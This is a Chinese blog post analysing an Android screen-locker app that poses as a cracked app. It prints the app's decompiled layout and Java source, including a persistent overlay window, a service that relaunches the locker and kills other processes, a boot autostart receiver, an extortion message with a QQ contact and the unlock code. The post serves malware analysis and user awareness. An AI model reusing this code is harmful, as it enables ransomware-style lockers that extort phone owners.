安卓恶意应用代码分析

来源:互联网 发布:琉璃神社的备用域名 编辑:程序博客网 时间:2024/06/06 19:58

最近在找畅无线的破解版,结果从贴吧找到了一个恶意应用。

点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。

下面我们来分析分析。

首先看看用APKTOOLS反编译出来的布局文件

1.main.xml

<?xml version="1.0" encoding="utf-8"?><RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"  xmlns:android="http://schemas.android.com/apk/res/android">    <LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true">        <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁!By 小黑" />        <Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />        <TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化!" />        <Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复!" />        <TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />        <TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁!By 小黑" />    </LinearLayout>    <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" /></RelativeLayout>
布局是一个相对布局里面嵌入了一个线性布局,然后里面放了6个控件,依次是TexTView、Button、TextView、Button、TextView、TextView



2.java代码分析
1.MainActivity.java
package tk.jianmo.study;import LogCatBroadcaster;import android.app.Activity;import android.app.AlertDialog.Builder;import android.app.Dialog;import android.app.DialogFragment;import android.content.Context;import android.content.DialogInterface;import android.content.DialogInterface.OnClickListener;import android.content.Intent;import android.content.SharedPreferences;import android.content.SharedPreferences.Editor;import android.os.Bundle;import android.os.SystemClock;import android.text.Editable;import android.view.KeyEvent;import android.view.Window;import android.widget.EditText;import android.widget.TextView;import android.widget.Toast;import java.util.Timer;import java.util.TimerTask;public class MainActivity  extends Activity{  Context context;  @Override  Intent intent;  int keyTouthInt = 0;  long newTime = 0;  SharedPreferences sp;  int theBeginTimeToFinish = 86400;  Timer timer;  TimerTask timertask;  int timetofinish = this.theBeginTimeToFinish;  TextView tv_time;  long usedTime = 0;    public void keytouch(long paramLong, int paramInt1, int paramInt2)  {    this.newTime = System.currentTimeMillis();    if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2))    {      this.usedTime = this.newTime;      this.keyTouthInt = (paramInt1 + 1);      return;    }    this.keyTouthInt = 0;  }    public void onAttachedToWindow()  {    getWindow().setType(2004);    super.onAttachedToWindow();  }    public void onCreate(Bundle paramBundle)  {    LogCatBroadcaster.start(this);    super.onCreate(paramBundle);    requestWindowFeature(1);    getWindow().setFlags(-2147483648, -2147483648);    setContentView(2130903040);    this.context = this;    this.tv_time = ((TextView)super.findViewById(2131034114));    Intent localIntent1 = new Intent();    this.intent = localIntent1;    Intent localIntent2 = this.intent;    try    {      Class localClass = Class.forName("tk.jianmo.study.killpoccessserve");      localIntent2.setClass(this, localClass);      startService(this.intent);      this.sp = getSharedPreferences("TimeSave", 0);      this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);      if (this.timetofinish <= 1) {        this.timetofinish = this.theBeginTimeToFinish;      }      Timer localTimer = new Timer();      this.timer = localTimer;      TimerTask local100000001 = new TimerTask()      {        @Override        public void run()        {          MainActivity localMainActivity = MainActivity.this;          Runnable local100000000 = new Runnable()          {            @Override            public void run()            {              int i = MainActivity.this.timetofinish / 3600;              int j = MainActivity.this.timetofinish % 3600 / 60;              int k = MainActivity.this.timetofinish % 60;              TextView localTextView = MainActivity.this.tv_time;              StringBuffer localStringBuffer1 = new StringBuffer();              StringBuffer localStringBuffer2 = new StringBuffer();              StringBuffer localStringBuffer3 = new StringBuffer();              StringBuffer localStringBuffer4 = new StringBuffer();              StringBuffer localStringBuffer5 = new StringBuffer();              localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append(localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append(k).toString() + "加QQ解锁2082549931");              MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();              if (MainActivity.this.timetofinish == 0)              {                MainActivity.this.stopService(MainActivity.this.intent);                System.exit(0);              }              MainActivity localMainActivity = MainActivity.this;              localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish);            }          };          localMainActivity.runOnUiThread(local100000000);        }      };      this.timertask = local100000001;      this.timer.schedule(this.timertask, 0, 1000);      return;    }    catch (ClassNotFoundException localClassNotFoundException)    {      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());      throw localNoClassDefFoundError;    }  }    @Override  public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)  {    if (paramInt == 4)    {      if (this.keyTouthInt != 0) {        break label153;      }      this.usedTime = SystemClock.currentThreadTimeMillis();      this.keyTouthInt = 1;      this.usedTime = System.currentTimeMillis();    }    for (;;)    {      if (paramInt == 3)      {        keytouch(this.usedTime, this.keyTouthInt, 5);        if (this.keyTouthInt == 6)        {          MyDialogFragment localMyDialogFragment = new MyDialogFragment();          localMyDialogFragment.show(getFragmentManager(), "mydialog");        }      }      if (paramInt == 82) {        keytouch(this.usedTime, this.keyTouthInt, 100);      }      if (paramInt == 25) {        keytouch(this.usedTime, this.keyTouthInt, 2);      }      if (paramInt == 24) {        keytouch(this.usedTime, this.keyTouthInt, 3);      }      if (paramInt == 26) {        Toast.makeText(this, "电源控制成功!", 0).show();      }      return true;      label153:      if (this.keyTouthInt == 1) {        keytouch(this.usedTime, this.keyTouthInt, 1);      } else {        keytouch(this.usedTime, this.keyTouthInt, 4);      }    }  }    class MyDialogFragment    extends DialogFragment  {    public MyDialogFragment() {}        @Override    public Dialog onCreateDialog(Bundle paramBundle)    {      AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity());      EditText localEditText = new EditText(MainActivity.this.context);      localEditText.setHint("please input the cipher!");      localBuilder.setView(localEditText);      localBuilder.setTitle("Choose");      localBuilder.setMessage("I will clear all of your data!");      DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener()      {        private final EditText val$edit;                @Override        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)        {          if (this.val$edit.getText().toString().equals("2082549931"))          {            MainActivity.this.stopService(MainActivity.this.intent);            System.exit(0);          }        }      };      localBuilder.setPositiveButton("Yes", local100000002);      DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener()      {        @Override        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}      };      localBuilder.setNegativeButton("No", local100000003);      return localBuilder.create();    }  }}
根据Activity的生命周期,我们先看看onCreate方法
第一句LogCatBroadcaster.start(this);这里启动了一个线程
下面是代码
import android.content.Context;import android.content.Intent;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;public class LogCatBroadcaster  implements Runnable{  private static boolean started = false;  private Context context;    private LogCatBroadcaster(Context paramContext)  {    this.context = paramContext;  }    /* Error */  public static void start(Context paramContext)  {    // Byte code:    //   0: ldc 2    //   2: monitorenter    //   3: getstatic 14LogCatBroadcaster:startedZ    //   6: istore_2    //   7: iload_2    //   8: ifeq +7 -> 15    //   11: ldc 2    //   13: monitorexit    //   14: return    //   15: iconst_1    //   16: putstatic 14LogCatBroadcaster:startedZ    //   19: getstatic 29android/os/Build$VERSION:SDK_INTI    //   22: bipush 16    //   24: if_icmpge +6 -> 30    //   27: goto -16 -> 11    //   30: aload_0    //   31: invokevirtual 35android/content/Context:getApplicationInfo()Landroid/content/pm/ApplicationInfo;    //   34: getfield 40android/content/pm/ApplicationInfo:flagsI    //   37: istore_3    //   38: iload_3    //   39: iconst_2    //   40: iand    //   41: ifeq +14 -> 55    //   44: iconst_1    //   45: istore 4    //   47: iload 4    //   49: ifne +12 -> 61    //   52: goto -41 -> 11    //   55: iconst_0    //   56: istore 4    //   58: goto -11 -> 47    //   61: aload_0    //   62: invokevirtual 44android/content/Context:getPackageManager()Landroid/content/pm/PackageManager;    //   65: ldc 46    //   67: sipush 128    //   70: invokevirtual 52android/content/pm/PackageManager:getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;    //   73: pop    //   74: new 2LogCatBroadcaster    //   77: dup    //   78: aload_0    //   79: invokespecial 54LogCatBroadcaster:<init>(Landroid/content/Context;)V    //   82: astore 7    //   84: new 56java/lang/Thread    //   87: dup    //   88: aload 7    //   90: invokespecial 59java/lang/Thread:<init>(Ljava/lang/Runnable;)V    //   93: astore 8    //   95: aload 8    //   97: invokevirtual 61java/lang/Thread:start()V    //   100: goto -89 -> 11    //   103: astore 5    //   105: goto -94 -> 11    //   108: astore_1    //   109: ldc 2    //   111: monitorexit    //   112: aload_1    //   113: athrow    // Local variable table:    //   startlengthslotnamesignature    //   01140paramContextContext    //   10851localObjectObject    //   622boolboolean    //   3743iint    //   45124jint    //   10315localNameNotFoundExceptionandroid.content.pm.PackageManager.NameNotFoundException    //   8277localLogCatBroadcasterLogCatBroadcaster    //   9338localThreadjava.lang.Thread    // Exception table:    //   fromtotargettype    //   6174103android/content/pm/PackageManager$NameNotFoundException    //   37108finally    //   1527108finally    //   3038108finally    //   6174108finally    //   74100108finally  }    public void run()  {    try    {      Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime");      InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream());      BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20);      for (;;)      {        String str = localBufferedReader.readLine();        if (str == null) {          break;        }        Intent localIntent = new Intent();        localIntent.setPackage("com.aide.ui");        localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");        localIntent.putExtra("lines", new String[] { str });        this.context.sendBroadcast(localIntent);      }      return;    }    catch (IOException localIOException) {}  }}
我们分析一下里面的run方法,首先调用系统命令得到logcat日志,亲们想看结果的可以再命令行下输入 adb logcat -v threadtime
我们通过这个进程Process再通过getInputStream()方法拿到输入流。
在拿到这个输入流之后,用一个BufferedReader对象每次读20个字节的字符
然后读取BufferedReader里面的首行数据(字符串)
接着把这个字符串通过广播发送出去,当然,里面指定了包名和动作。

好了,这段代码分析完了,我们再次回到onCreate方法。
接下来设置窗口特点1为系统默认
setFlag应该是全屏,这个貌似在反编译的时候出了点问题。
然后设置是布局,在R文件看到对应的值就是刚才的main.xml

接着通过id照片到名为mainTextViewTime的TextView控件
接着新建一个意图,用来更新时间

接下来的这个try-catch代码块中,收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类,
接下来我们来看看这个类干嘛的。
killpoccessserve.java
package tk.jianmo.study;import android.app.ActivityManager;import android.app.ActivityManager.RunningTaskInfo;import android.app.Service;import android.content.ComponentName;import android.content.Context;import android.content.Intent;import android.os.Handler;import android.os.Handler.Callback;import android.os.IBinder;import android.os.Message;import java.util.List;import java.util.Timer;import java.util.TimerTask;public class killpoccessserve  extends Service{  Context context;    @Override  public IBinder onBind(Intent paramIntent)  {    return null;  }    @Override  public void onCreate()  {    this.context = this;    Handler.Callback local100000000 = new Handler.Callback()    {      public boolean handleMessage(Message paramAnonymousMessage)      {        ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity");        String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName();        if (str.equals("tk.jianmo.study")) {}        for (;;)        {          return false;          Intent localIntent = new Intent();          Context localContext = killpoccessserve.this.context;          try          {            Class localClass = Class.forName("tk.jianmo.study.MainActivity");            localIntent.setClass(localContext, localClass);            localIntent.setFlags(67108864);            localIntent.addFlags(268435456);            killpoccessserve.this.startActivity(localIntent);            localActivityManager.killBackgroundProcesses(str);          }          catch (ClassNotFoundException localClassNotFoundException)          {            NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());            throw localNoClassDefFoundError;          }        }      }    };    Handler localHandler = new Handler(local100000000);    Timer localTimer = new Timer();    TimerTask local100000001 = new TimerTask()    {      private final Handler val$h;            @Override      public void run()      {        this.val$h.obtainMessage().sendToTarget();      }    };    localTimer.schedule(local100000001, 0, '–');  }    @Override  public void onDestroy()  {    super.onDestroy();  }    @Override  public void onStart(Intent paramIntent, int paramInt)  {    super.onStart(paramIntent, paramInt);  }}

这个类从名字上看是关闭进程的一个服务,继承了android.app.Service,
服务(Service)是Android系统中4个应用程序组件之一。服务主要用于两个目的:后台运行和跨进程访问。
Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口
这里直接实现了。
getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE,可能是反编译成这样了,一会查一下API,这句话得到管理应用程序的系统状态对象
str字符串获得前台运行的Activity的包名
当然接下来自然就判断这个包名是不是它自己啦
for循环里就是不断启动自己的Activity,并且销毁后台进程,为了在task里启动,使用了setFlags和addFlags函数。
然后是周期性发送消息的代码,发送消息的时候不创建新的对象。

继续回到我们的onCreate方法。
然后代码里做了,开启服务,开启定时器,显示剩余时间的操作

然后Activity其他几方法是为了让点击屏幕不起作用的,
里面有个解锁这个界面的方法,就是输入一个号码this.val$edit.getText().toString().equals("2082549931"),这个号码估计大家看到这句话机看出来了吧

这个应用还有一个开机自启的代码
BootBroadcastReceiver.java
package tk.jianmo.study;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;public class BootBroadcastReceiver  extends BroadcastReceiver{  String action_boot = "android.intent.action.BOOT_COMPLETED";    @Override  public void onReceive(Context paramContext, Intent paramIntent)  {    try    {      Class localClass = Class.forName("tk.jianmo.study.MainActivity");      Intent localIntent = new Intent(paramContext, localClass);      localIntent.addFlags(268435456);      paramContext.startActivity(localIntent);      return;    }    catch (ClassNotFoundException localClassNotFoundException)    {      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());      throw localNoClassDefFoundError;    }  }}

个人对这个应用评价一下吧
这个应用欺骗小白用户还是很有效的,实际上里面的格式化是吓唬人的,但是对开发者而言,反编译一下就出来了。作者也没做代码混淆。
自启动这个真心不靠谱,自启动也是有顺序的,而且还要等SD卡识别完,这完全可以在识别SD卡的时候直接把它干掉。
作者开发这个应用如果拿来做某些事,可能会有法律风险



0 0
原创粉丝点击